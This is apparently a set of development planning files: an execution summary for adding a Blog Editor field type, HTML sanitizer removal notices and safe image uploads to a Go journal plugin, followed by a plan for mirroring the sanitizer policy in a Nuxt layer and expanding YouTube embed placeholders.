- "uniqueMediaKey fails instead of overwriting when all 999 numbered names are taken (the old code returned the original path); StoreMedia also checks the folder rule itself"
- "Load without a translation writer (Translated nil) serves FormatHTML(content) for a markdown value"
- "Removal notices end a cut name list with ', …'; HTMLRemovals keeps unexported cut flags"
patterns-established:
- "A plugin field type's Decode reports changes as notices and never refuses on content it can repair"
requirements-completed: [D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-14, D-18, D-19]
coverage:
- id: D1
description: "Post content compiles as mlblogeditor (element, translatable, htmlColumn, uploadFolder; assets exist); Decode keeps clean HTML and the embed placeholder byte for byte with no notice, strips script/onerror with two notices, nil to '', refuses a number; Load serves HTML as stored, markdown as content_html or FormatHTML; ListValue; hooks write content_html per written locale and leave untouched content alone; en/pl plural phrases"
requirement: D-08
verification:
- kind: unit
ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorTracerSmoke"
status: pass
human_judgment: false
- id: D2
description: "SanitizeHTMLReport: elements, attributes (repeats and changed style), comments, Other, ten-name cut with exact counts; Empty exactly when the output equals the input for every unsafe payload, the imported-post fixture and every corpus entry"
requirement: D-10
verification:
- kind: unit
ref: "../sm-journal-plugin/classes/editor_policy_test.go#TestSanitizeHTMLReport"
status: pass
human_judgment: false
- id: D3
description: "Policy admits every editor-corpus entry byte for byte (empty report, nil CheckHTML) and the placeholder through FormatHTML; other providers, malformed ids, data attributes on other elements, other data-* on figure, onload, iframe, non-numeric start and start on ul are still stripped; the 35 unsafe payloads and the CheckHTML table are unchanged (diff against c60abc6 empty)"
requirement: D-05
verification:
- kind: unit
ref: "../sm-journal-plugin/classes/editor_policy_test.go#TestEditorOutputPassesPolicy"
status: pass
- kind: unit
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLSanitizesUnsafeHTML"
status: pass
- kind: unit
ref: "../sm-journal-plugin/classes/check_html_test.go#TestCheckHTML"
status: pass
human_judgment: false
- id: D4
description: "StoreMedia keeps the public route's key layout, unique suffix, URL, extension list and size message; editor Upload sniffs the type, uses safe lowercase names and the field's uploadFolder, refuses html/svg/mismatched types, maps MediaError to FormFieldError and a missing bucket to an opaque error; the route's error bodies are unchanged"
requirement: D-18
verification:
- kind: unit
ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorUploadSmoke"
status: pass
- kind: unit
ref: "../sm-journal-plugin/controllers/api/media_test.go#TestWriteMediaStoreError"
status: pass
- kind: unit
ref: "../sm-journal-plugin/classes/media_store_test.go#TestMediaObjectPath"
status: pass
human_judgment: false
- id: D5
description: "Category content compiles as blogeditor, Load serves the stored *string, Decode strips onclick with a notice, the hooks map blank to NULL and accept any other content (422 retired)"
requirement: D-19
verification:
- kind: unit
ref: "../sm-journal-plugin/controllers/posts_editor_smoke_test.go#TestBlogEditorUploadSmoke"
status: pass
human_judgment: false
- id: D6
description: "Public posts API and route table unchanged since c60abc6 (D-09)"
requirement: D-09
verification:
- kind: other
ref: "git -C ../sm-journal-plugin diff --quiet c60abc6 -- controllers/api/posts_helpers.go controllers/api/posts.go routes.go"
status: pass
human_judgment: false
- id: D7
description: "Postgres-backed admin saves and the media route: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, journal_api_task3_test.go media upload, plugin boot with the field types"
verification: []
human_judgment: true
rationale: "No Docker on this host (docker.sock permission denied); the tests compile under go vet and run on a Docker host in plan 06"
duration: 13min
completed: 2026-10-10
status: complete
---
# Phase 16.2 Plan 03: Journal Blog Editor integration Summary
**Journal post content (mlblogeditor) and category content (blogeditor) are edited with the Blog Editor; every admin save stores bluemonday's output per locale, byte for byte when nothing is unsafe, writes the same HTML to content and content_html without goldmark, and names what it removed through SanitizeHTMLReport notices; the policy admits exactly the editor's four extra attributes, pinned by the editor corpus, and editor images go through the extracted StoreMedia with a magic-byte check.**
## Performance
- **Duration:** about 13 min
- **Started:** 2026-10-10T09:58:55Z
- **Completed:** 2026-10-10T10:12Z
- **Tasks:** 3 (tracer + 2 TDD expansions)
- **Files:** 20 in sm-journal-plugin (6 created, 14 modified), 1 decision note in summercms.go
## Accomplishments
- **Removal report (D-10 amended):** `SanitizeHTMLReport(doc) (string, HTMLRemovals)` aligns the input's start tags with bluemonday's output in order; unmatched tags are removed elements, missing, repeated or changed attributes are removed attributes (a `style` that lost a property counts under `style`), comments are counted, `Other` covers anything else. At most ten distinct names per list, exact counts. `SanitizeHTML` is its string half; `FormatHTML`, `FormatTranslation` and `CheckHTML` keep their behaviour.
- **Field types (D-08, D-14):** `classes.BlogEditorTypes` returns `blogeditor` (uploadFolder) and `mlblogeditor` (htmlColumn, uploadFolder) on `golem15-journal-blogeditor` with the plan 02 bundle; `journal.Plugin.FormFieldTypes` registers them. `checkBlogOptions` checks the options at boot.
- **Decode / Load / ListValue (D-04, D-07, D-10):** Decode returns the policy output plus `removed_elements`, `removed_attributes`, `removed_comments` and `markup_changed` notices; nil is `""`, a non-string is a `FormFieldError` (`content_invalid`). Load serves HTML as stored and markdown (`LooksLikeHTML` false) as that locale's `content_html`, else `FormatHTML(content)`. ListValue (ctx form) strips tags and cuts at 120 runes.
- **Admin save path (D-02, D-03):** `preparePostWrite` no longer calls goldmark; it copies the Default `content` write to `ContentHTML`. New `FormAfterCreate`/`FormAfterUpdate` write `content_html` for each non-default written locale through the `TranslationWriter` in the save transaction. Untouched content is not written, so both columns stay byte-identical.
- **Categories (D-19 amended):** `content` is `blogeditor` with `uploadFolder: categories`; the `CheckHTML` 422 gate is gone, blank still becomes NULL; the field comment (en, pl) says unsafe HTML is removed on save.
- **Media (D-18, D-09):** `classes.StoreMedia` holds the public route's storage (extensions, 10240 KiB, `/journal/<folder>/<name>`, unique suffix, `attach.PublicURL`); `UploadMedia` keeps auth, permissions, folder and form checks and the same bodies. The editor `Upload` sniffs the first 512 bytes (`http.DetectContentType`), requires a matching JPEG/PNG/GIF/WebP type, builds a safe lowercase name and stores in the field's folder (`editor` by default).
- **Policy (D-05 amended):** `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` any text, `ol` `start` `^[0-9]+$`; nothing else. `CheckHTML` documented as a predicate no write path refuses with.
- **Docs:** plugin README (field types, admin save rules, category rule, unchanged public API, editor uploads, the four policy rules, API reference rows); decision note amendment with the four table rows (summercms.go `332993c`).
## Task Commits
All code commits are in `../sm-journal-plugin` (branch main):
1. **Task 1: tracer** - `cbf4891` feat(classes): report what the HTML policy removes; `fbd1c85` feat(admin): post content on the Blog Editor field type
2. **Task 2: categories, uploads, README** - `15fcad7` refactor(api): share media storage with the editor upload; `cb1c688` feat(admin): category content on the Blog Editor and editor image uploads
3. **Task 3: policy extension** - `2384a61` feat(classes): allow the Blog Editor's own markup in the HTML policy; summercms.go `332993c` docs(16.2): record the editor-output policy extension
## Smoke test output
```
--- PASS: TestBlogEditorTracerSmoke (13 subtests: compile, type definitions, decode clean, decode placeholder,
decode strip with notices, decode nil/non-string, load HTML, load markdown content_html, load FormatHTML fallback,
list value, hooks write content_html, hooks leave untouched content, plural phrases)
--- PASS: TestBlogEditorUploadSmoke (9 subtests: StoreMedia layout, StoreMedia refusals, editor upload safe name,
editor upload refusals, missing bucket, category compile, category load, category decode, category hooks)
--- PASS: TestEditorOutputPassesPolicy (15 corpus entries, placeholder, 18 strip cases, alt, ol start)
--- PASS: TestSanitizeHTMLReport
--- PASS: TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestFormatHTMLKeepsRawHTML,
TestSanitizeHTML, TestCheckHTML (unchanged since c60abc6)
--- PASS: TestWriteMediaStoreError, TestMediaObjectPath, TestMediaFolderPatternRejectsDotDot
```
- `go -C ../sm-journal-plugin vet ./...` clean (compiles the updated Postgres tests).
- `go test -short ./...`: `classes`, `controllers`, `controllers/api` pass; the root package, `models` and `updates` fail only on `docker.sock: permission denied`.
- `npx vitest run` 33/33 and `scripts/check-dist.sh` ("assets/dist matches a fresh build") still pass.
## Postgres tests that need a Docker host (plan 06)
- `posts_admin_smoke_test.go`: `TestPostsFormCompiles` (expects `"type":"mlblogeditor"`), `TestPostsAdminCreateSmoke` (HTML content, `ContentHTML == Content`, no `meta.notices`), `TestPostsAdminResaveKeepsHTML` (exact bytes), `TestPostsAdminSaveSanitizesHTML` (save succeeds, both columns sanitized for en host and pl translation, notices name `a, base` and `onerror` per locale).
- `journal_api_categories_test.go`: `TestCategoriesAdminContent` (schema type `blogeditor`, "unsafe create stripped" 201 + `<p>x</p>` + onclick notice, "unsafe update stripped" 200 + `x` + `a` notice, safe create without notices).
- `journal_api_task3_test.go` media upload tests (the route now runs through `StoreMedia`), `plugin_test.go`, and a full plugin boot with `FormFieldTypes` (cabana's boot-time asset and alias checks against the embedded `adminFS`).
## TDD Gate Compliance
Tasks 2 and 3 are `tdd="true"`. CLAUDE.md requires `go test ./...` green at every commit, so no failing `test(...)` commit exists; as in plans 01 and 02, RED was run and verified before GREEN and tests were committed with the implementation.
- **Task 2 RED:** compile stubs for `StoreMedia` and the moved helpers, then `TestBlogEditorUploadSmoke` failed on its assertions (`not implemented`, "blogeditor has no Upload") and `TestMediaObjectPath` on its path assertion. `go test -json` was converted to TAP and checked: `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`, target `TestBlogEditorUploadSmoke`). The category subtests were masked by the parent's fatal at RED time; the category schema and hook subtests then failed (type `textarea`, `validation_failed`) after Upload went green and before the category change, and passed after it.
- **Task 3 RED:** `TestEditorOutputPassesPolicy` failed on 18 subtests (corpus entries with the embed, alt and start; placeholder; the negative cases, whose `want` keeps the placeholder) before the policy change: `RED_EVIDENCE_OK`, target `TestEditorOutputPassesPolicy`. `TestSanitizeHTMLReport` was already green because the report shipped in the Task 1 tracer.
- **GREEN:** the implementation commits listed above; no refactor commit was needed.
## Decisions Made
See key-decisions in the frontmatter.
## Deviations from Plan
### Auto-fixed Issues
**1. [Plan text] Host and translation locales in TestPostsAdminSaveSanitizesHTML**
- **Found during:** Task 1
- **Issue:** The plan says "pl (host) and en (translation)", but the test harness (`bootJournal`) makes `en` the default locale and `pl` the translation.
- **Fix:** The test asserts the host columns for `en` and `golem15_translate_attributes` for `pl`, and notices for both locales.
- **Files modified:** posts_admin_smoke_test.go
- **Commit:** fbd1c85
**2. [Rule 2 - Security] uniqueMediaKey no longer overwrites**
- **Found during:** Task 2
- **Issue:** The moved `uniqueMediaKey` returned the original (existing) path when all 999 numbered names were taken, so a write would overwrite an object; the threat model (T-16.2-16) requires that it never overwrites.
- **Fix:** It returns an error instead (a 500 on the public route in that pathological case only). `StoreMedia` also re-checks the folder rule (MediaError on `folder`), which the route already enforces first, so no response changes.
- **Files modified:** classes/media_store.go
- **Commit:** 15fcad7
**3. [Rule 2 - Correctness] Editor upload type must match its extension**
- **Found during:** Task 2
- **Issue:** The plan's "first bytes sniff as that image type" needs a rule for names whose extension disagrees with the bytes, or that have none.
- **Fix:** A sniffed type outside JPEG/PNG/GIF/WebP, or one that differs from an allowed extension's type, is `image_invalid`; a name without an extension gets the sniffed one; a disallowed extension gets StoreMedia's "The file must be an image." `safeUploadName` also trims leading and trailing `-` and `.` (no hidden or dot-only names).
- **Files modified:** classes/blog_editor.go
- **Commit:** cb1c688
**4. [Rule 2 - Correctness] Category field comment**
- **Found during:** Task 2
- **Issue:** `category.content_comment` (en, pl) told administrators unsafe HTML "is refused", which is no longer true.
- **Fix:** It now says unsafe HTML is removed on save and the form names what was removed.
- **Files modified:** lang/en/lang.yaml, lang/pl/lang.yaml
- **Commit:** cb1c688
**5. Files and shapes outside the plan's lists**
- `controllers/admin_registry.go` holds the new `pact.FormAfterCreate`/`pact.FormAfterUpdate` assertions next to the controller's other compile-time assertions (commit fbd1c85).
- `controllers/api/media_test.go` now holds `TestWriteMediaStoreError` (the route's 422 and 500 bodies after the move); the two path tests moved to `classes/media_store_test.go` as planned.
- `HTMLRemovals` carries two unexported flags recording that a name list was cut, so `removalNotices` can append `, …`.
- Task 2 committed the refactor (`15fcad7`) before the feature (`cb1c688`) so that each commit builds on its own.
- `loadBlogHTML` serves `FormatHTML(content)` when no translation writer is published (`Translated` is nil), and serves blank content as it is.
---
**Total deviations:** 4 auto-fixed (1 plan text, 3 correctness/security) plus file and ordering notes. **Impact:** no change to the planned API, the public routes' contract or the four policy rules.
## Issues Encountered
- No Docker on this host: the Postgres tests listed above compile but did not run (recorded in `.planning/WINDOWS.md` as unrun-verify entries 15 and 16).
## Known Stubs
None.
## Next Phase Readiness
- Plan 04 mirrors the same four policy rules in the layer and checks the same `editor-corpus.json`; no fifth rule was needed.
- Plan 05/06: run the Docker-only tests above, then the browser UAT of the editor in the admin (typing, uploads through the cabana route, notices after a stripped save).
## Self-Check: PASSED
- Created files exist in ../sm-journal-plugin: classes/blog_editor.go, classes/media_store.go, classes/media_store_test.go, classes/editor_policy_test.go, field_types.go, controllers/posts_editor_smoke_test.go.
- Commits exist in ../sm-journal-plugin: cbf4891, fbd1c85, 15fcad7, cb1c688, 2384a61; in summercms.go: 332993c.

View File

@@ -0,0 +1,278 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 04
type: execute
wave: 2
depends_on: ["16.2-02"]
coupling_justified: ["16.2-03: both plans add the same four editor-output rules (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt any text, ol start integer), each in its own repository; the set is fixed in both plans' text and checked against the same plan 02 corpus, neither plan reads the other's files, and either one stops and reports if the corpus needs a fifth rule, so both execution orders give matching policies"]
files_modified:
- ../vue-journal-layer/app/utils/embeds.ts
- ../vue-journal-layer/app/utils/htmlGate.ts
- ../vue-journal-layer/tests/htmlGate.test.ts
- ../vue-journal-layer/tests/fixtures/editor-corpus.json
- ../vue-journal-layer/docs/decisions/0001-sanitize-html.md
- ../vue-journal-layer/app/components/Journal/PostBody.vue
- ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
- ../vue-journal-layer/app/assets/css/journal-base.css
- ../vue-journal-layer/tests/embeds.test.ts
- ../vue-journal-layer/testing/fixtures/acme/posts.json
- ../vue-journal-layer/testing/expect-acme.txt
- ../vue-journal-layer/README.md
- ../vue-journal-layer/package.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
autonomous: false
requirements: [D-05, D-17]
estimate:
tokens: 55000
raw_tokens: 55000
tasks: 3
confidence: low
must_haves:
truths:
- "D-17 and D-05: JournalPostBody and JournalCategoryHeader render expandEmbeds(sanitizeJournalHtml(html)): the sanitizer runs first at the v-html sink and expansion is the very last step, so the iframe it builds is never passed through a sanitizer that would strip it; the payload transforms (toPostView, the category page) only sanitize and keep the placeholder; only an exact <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id from [A-Za-z0-9_-] becomes <figure class=\"journal-embed journal-embed--youtube\"> holding an iframe on https://www.youtube-nocookie.com/embed/ID; any other figure, provider or id stays unchanged and inert."
- "D-05 (amended): htmlGate.ts mirrors plan 03's Go policy extension exactly (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt with any text, ol start integer) and nothing more; every entry of tests/fixtures/editor-corpus.json, a byte copy of plan 02's corpus, is safe under gateJournalHtml, and the placeholder survives sanitizeJournalHtml twice (payload, then sink) before it expands."
- "D-05: a raw iframe in stored HTML is stripped by sanitizeJournalHtml before expansion (the rest of the body renders, no iframe comes from stored markup)."
- "D-17: the built playground server, run with testing/smoke-ssr.mjs against the acme fixtures, renders the youtube-nocookie iframe for the fixture post that carries a placeholder."
- "D-17: vue-journal-layer v0.2.0 is an annotated tag on origin, scripts/check-git-install.sh v0.2.0 passes, and vue-grzybyfunkcjonalne-app main pins git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0 with a pnpm-lock.yaml that resolves to the tag's commit, builds and passes its tests."
artifacts:
- path: "../vue-journal-layer/app/utils/embeds.ts"
provides: "expandEmbeds and the provider allowlist"
contains: "youtube-nocookie.com/embed/"
- path: "../vue-journal-layer/app/utils/htmlGate.ts"
provides: "the sanitize-html mirror with the editor-output extension"
contains: "data-embed"
- path: "../vue-journal-layer/tests/fixtures/editor-corpus.json"
provides: "byte copy of the Blog Editor's output corpus (plan 02)"
contains: "data-embed"
- path: "../vue-journal-layer/tests/embeds.test.ts"
provides: "node:test smoke of the transform and the gate order"
contains: "expandEmbeds"
- path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json"
provides: "layer pin"
contains: "vue-journal-layer.git#v0.2.0"
key_links:
- from: "../vue-journal-layer/app/components/Journal/PostBody.vue"
to: "../vue-journal-layer/app/utils/embeds.ts expandEmbeds"
via: "v-html of expandEmbeds(sanitizeJournalHtml(html)), expansion last"
pattern: "expandEmbeds"
- from: "../vue-journal-layer/tests/fixtures/editor-corpus.json"
to: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
via: "byte copy; the plan 06 phase gate compares the two files"
pattern: "editor-corpus.json"
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml"
to: "vue-journal-layer v0.2.0 commit"
via: "pnpm install after the pin bump"
pattern: "vue-journal-layer"
prohibitions:
- statement: "The layer never builds an iframe from anything but a validated provider id and a fixed host; htmlGate.ts gains only the four editor-output rules plan 03 adds to the Go policy, never iframe, URL schemes, styles, event attributes or other data attributes."
status: unresolved
verification: judgment
- statement: "A pushed layer tag is never moved or deleted; a defect after the push gets v0.2.1."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
This plan's slice (user decision 1, plan 04): the frontend half of embeds (D-17). The reusable Nuxt blog views layer keeps the editor's markup through its sanitizer, expands the allowlisted embed placeholders into privacy-enhanced YouTube iframes as the last step before v-html, ships as tag v0.2.0, and the site app pins it.
## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 amended)
16.1 replaced the layer's regex gate with sanitize-html 2.18.0 (5beb1c5, decision note `docs/decisions/0001-sanitize-html.md`, tag v0.1.1 at 294a8d8). The layer now never blanks a body: `sanitizeJournalHtml` strips what the policy refuses, `gateJournalHtml` returns `{safe, html}` with `html` always sanitized, and there is no blocked notice. The body is sanitized twice: once in the payload (`toPostView`, the category page) and again at the sink (`JournalPostBody`, `JournalCategoryHeader`). Two consequences for this plan:
- **Order.** Expansion must be the very last step at the sink, after `sanitizeJournalHtml`. Run anywhere earlier, for example in `toPostView`, the sink's sanitizer would strip the iframe again.
- **Mirror.** The placeholder's `data-embed`/`data-id` (and the editor's `alt` text and `ol start`) are stripped by the mirror today. Amended D-05 extends the Go policy (plan 03) and this mirror with the same four rules, pinned by plan 02's corpus. That is why this plan now waits for plan 02 (wave 2, parallel with plan 03).
The site app pins `#v0.1.1` today, and the layer's package.json version field still reads 0.1.0. Where RESEARCH Pattern 7 says the gate "refuses" a raw iframe, read "strips".
Path note: the site app is the submodule `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (its own repository, origin git.golem15.com/golem15/vue-grzybyfunkcjonalne-app, branch main), not a sibling directory. Plan 05 bumps the host's gitlink to the app commit pushed here.
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
## Decisions recorded here (Claude's discretion)
- Provider allowlist: YouTube only, as one entry in `EMBED_PROVIDERS` (id pattern `^[A-Za-z0-9_-]{11}$`, src `https://www.youtube-nocookie.com/embed/<id>`), matching the editor's table in plan 02.
- The placeholder is matched exactly as the editor writes it (attribute order data-embed then data-id, empty figure, no caption). Anything else is left as is, so an unknown or malformed placeholder renders as an empty figure.
- Iframe attributes: `title="YouTube video"`, `loading="lazy"`, `referrerpolicy="strict-origin-when-cross-origin"`, `allow="encrypted-media; picture-in-picture; fullscreen"`, `allowfullscreen`. Since 16.1 the UAT vhost sends a public Content-Security-Policy-Report-Only whose default-src 'self' has no frame-src, so the iframe loads (report-only) but logs a violation; plan 05 adds frame-src https://www.youtube-nocookie.com to that policy in the host repository (RESEARCH Pattern 7's "no CSP" predates 16.1).
- The layer tag push is a one-way door and gets its own checkpoint here; the summercms tag and the UAT deploy are gated in plan 05.
- Mirror extension: exactly the four rules plan 03 adds to the Go policy: `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` with any value, and `ol` `start` (`INTEGER`). The corpus copy lives at `tests/fixtures/editor-corpus.json` with a test header comment naming its source; the copy is never edited by hand.
## Artifacts this phase produces (this plan)
- `app/utils/embeds.ts`: `EMBED_PLACEHOLDER` (RegExp), `EMBED_PROVIDERS`, `expandEmbeds(html: string): string`.
- `app/utils/htmlGate.ts`: `figure` and `ol` entries plus the widened `img` `alt` rule in `ELEMENT_ATTRS` (mirror of the Go extension).
- `tests/fixtures/editor-corpus.json` (byte copy of plan 02's corpus); corpus, mirror and pipeline cases in `tests/htmlGate.test.ts` and `tests/embeds.test.ts`.
- `docs/decisions/0001-sanitize-html.md`: the Policy section lists the four editor-output additions.
- CSS classes `.journal-embed`, `.journal-embed--youtube` in `app/assets/css/journal-base.css`.
- `tests/embeds.test.ts`; acme fixture post with a placeholder and the matching `testing/expect-acme.txt` line.
- Layer version 0.2.0 and annotated tag `v0.2.0` on origin.
- vue-grzybyfunkcjonalne-app main: pin `#v0.2.0` and the updated `pnpm-lock.yaml`.
<objective>
Mirror the editor-output policy extension in the layer's sanitizer, expand editor embed placeholders as the last step of the post and category sinks (D-17, D-05), release the layer as v0.2.0 and pin it in the site app.
Purpose: grzybyfunkcjonalne.pl shows the YouTube embeds authors add in the Blog Editor, and keeps their alt text and list numbering, while stored HTML still goes through the strict sanitizer.
Output: the htmlGate.ts mirror and corpus test, embeds.ts with tests and SSR proof, tag v0.2.0, app pin and lockfile.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
Repositories: `../vue-journal-layer` (branch main at 294a8d8 = tag v0.1.1, earlier tags v0.0.1 and v0.1.0; depends on sanitize-html 2.18.0; package.json version field 0.1.0; pnpm-lock.yaml; tests run with `npm test` = node --test on TypeScript with type stripping, Node 22.18 or later) and `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (branch main, pnpm). Commits: no co-author tags, stage by explicit path. Use only erasable TypeScript syntax in files node --test loads (no enums, no parameter properties) and import siblings with the .ts extension, as htmlGate.ts does.
<interfaces>
Placeholder written by the editor (plan 02) and the expansion it becomes:
```html
<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
<!-- becomes -->
<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" title="YouTube video" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture; fullscreen" allowfullscreen></iframe></figure>
```
Existing sanitizer (app/utils/htmlGate.ts, sanitize-html 2.18.0 mirroring the Go bluemonday policy): `sanitizeJournalHtml(html): string` strips what the policy refuses (iframe, script and style with their content; on* attributes; target and rel; URLs other than http, https, mailto and relative; attribute values failing their pattern) and always returns sanitize-html's own serialization; `gateJournalHtml(html) -> { safe, html }` never blanks (`safe` reports whether the policy kept everything); `isSafeJournalHtml(html)`. Policy tables: `GLOBAL_ATTRS`, `ELEMENT_ATTRS` (img alt uses `PARAGRAPH`; no figure or ol entry today), `EMPTY_ATTRS`. Call sites: `toPostView` (app/utils/postView.ts) and app/journal-pages/CategoryPage.vue sanitize the payload; `JournalPostBody` renders `v-html` of `sanitizeJournalHtml(props.html)`; `JournalCategoryHeader` renders `v-html` of `sanitizeJournalHtml(props.category.content)`.
Pipeline after this plan: payload `sanitizeJournalHtml` (placeholder kept) → sink `sanitizeJournalHtml` (placeholder kept) → `expandEmbeds` (last) → `v-html`.
</interfaces>
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe on the post page (mirror extension, sanitize, expand last, v-html, SSR)</name>
<reversibility rating="costly">D-05 and D-17: the layer's matcher is the reader of the stored placeholder format; both must change together if the markup ever changes.</reversibility>
<precondition>../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json exists (plan 02 Task 3) and parses as JSON.</precondition>
<files>../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/utils/embeds.ts, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/tests/htmlGate.test.ts, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/fixtures/editor-corpus.json, ../vue-journal-layer/testing/fixtures/acme/posts.json, ../vue-journal-layer/testing/expect-acme.txt, ../vue-journal-layer/docs/decisions/0001-sanitize-html.md, ../vue-journal-layer/README.md</files>
<read_first>../vue-journal-layer/app/utils/htmlGate.ts (ELEMENT_ATTRS, PARAGRAPH, INTEGER, EMPTY_ATTRS, filterAttributeValues, KEEP_ALL), ../vue-journal-layer/tests/htmlGate.test.ts (test style), ../vue-journal-layer/app/utils/postView.ts, ../vue-journal-layer/app/journal-pages/CategoryPage.vue, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/docs/decisions/0001-sanitize-html.md (Policy section), ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02), ../sm-journal-plugin/classes/format_html.go (newHTMLPolicy: the Go side of the mirror), ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/app/assets/css/journal-tokens.css, ../vue-journal-layer/testing/expect-acme.txt (grammar), ../vue-journal-layer/testing/fixtures/acme/posts.json (post hello-acme), ../vue-journal-layer/testing/smoke-ssr.mjs, ../vue-journal-layer/.playground/nuxt.config.ts, ../vue-journal-layer/package.json, ../vue-journal-layer/README.md</read_first>
<action>Build the expansion on the post page end to end (per D-17, D-05).
Mirror (D-05 amended): in htmlGate.ts add the same four rules plan 03 adds to the Go policy and nothing else: an ELEMENT_ATTRS entry for figure with data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$; an ol entry gaining start (INTEGER) next to type; img alt accepting any value (a new rule constant, documented as the editor's free-text alt; sanitize-html escapes attribute values). Extend the header comment's list of additions. Copy ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json byte for byte to tests/fixtures/editor-corpus.json. In tests/htmlGate.test.ts: every corpus entry is safe under gateJournalHtml; the placeholder is kept by sanitizeJournalHtml applied twice; data-embed other than youtube, a 10- or 12-character id, data-id on div and any other data attribute on figure are still stripped; an iframe is still stripped with its content; ol start="3" kept and start="x" stripped; an alt with a colon, a question mark and quotes kept. Update the Policy section of docs/decisions/0001-sanitize-html.md with the four additions and their reason (the Blog Editor's own output, pinned by the corpus, mirroring the Go policy).
embeds.ts (header comment naming the editor's placeholder and the Go policy as the source of truth, in the htmlGate.ts style): EMBED_PROVIDERS with one entry youtube (id pattern ^[A-Za-z0-9_-]{11}$, src builder on https://www.youtube-nocookie.com/embed/, title "YouTube video"); EMBED_PLACEHOLDER, a global RegExp matching exactly the placeholder in the interfaces block with capture groups for provider and id (attribute values without quotes or angle brackets); expandEmbeds(html) replaces a match only when the provider is in EMBED_PROVIDERS and the id passes its pattern, producing exactly the expansion in the interfaces block; every other match is returned unchanged; empty input returns "". The regex matches the serialization sanitize-html gives the placeholder (attribute order kept, double quotes), because its input is always sanitizer output.
Wiring (order is the point): PostBody.vue computes the rendered HTML as expandEmbeds(sanitizeJournalHtml(props.html)) and CategoryHeader.vue as expandEmbeds(sanitizeJournalHtml(props.category.content)); expansion is the last step before v-html and its output is never sanitized again (sanitize-html would strip the iframe). toPostView and CategoryPage.vue keep only sanitizing (the payload carries the placeholder, not the iframe); do not expand there. Update the components' header comments to say so. journal-base.css adds .journal-embed (block, margin from the existing spacing tokens, aspect-ratio 16 / 9, width 100 percent) and its iframe (width and height 100 percent, border 0).
Fixtures: append the placeholder for id dQw4w9WgXcQ to the content_html of the acme post hello-acme, and add to testing/expect-acme.txt the line "200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" under the single-post block.
Smoke: tests/embeds.test.ts (node:test): the placeholder expands to the exact iframe markup; a 10-character id, an unknown provider and a figure with extra attributes stay unchanged; the composed sink pipeline expandEmbeds(sanitizeJournalHtml(x)) turns a stored placeholder into the iframe but strips a raw iframe in x, so the only iframe in the output is the one built from the placeholder; the payload-then-sink pipeline (sanitize, sanitize, expand) gives the same result; two placeholders in one body both expand; the corpus embed entry expands after sanitizing.
README.md: an "Embeds" section describing the placeholder, the allowlist, the sanitize-first, expand-last order and the CSS classes; the HTML sanitizer bullet names the four editor-output additions. Commit as "feat: keep Blog Editor markup in the sanitizer and expand Journal embed placeholders into privacy-enhanced iframes", staged by explicit path.</action>
<verify>
<automated>npm --prefix ../vue-journal-layer test 2&gt;&amp;1 | grep -E '^# fail 0$'</automated>
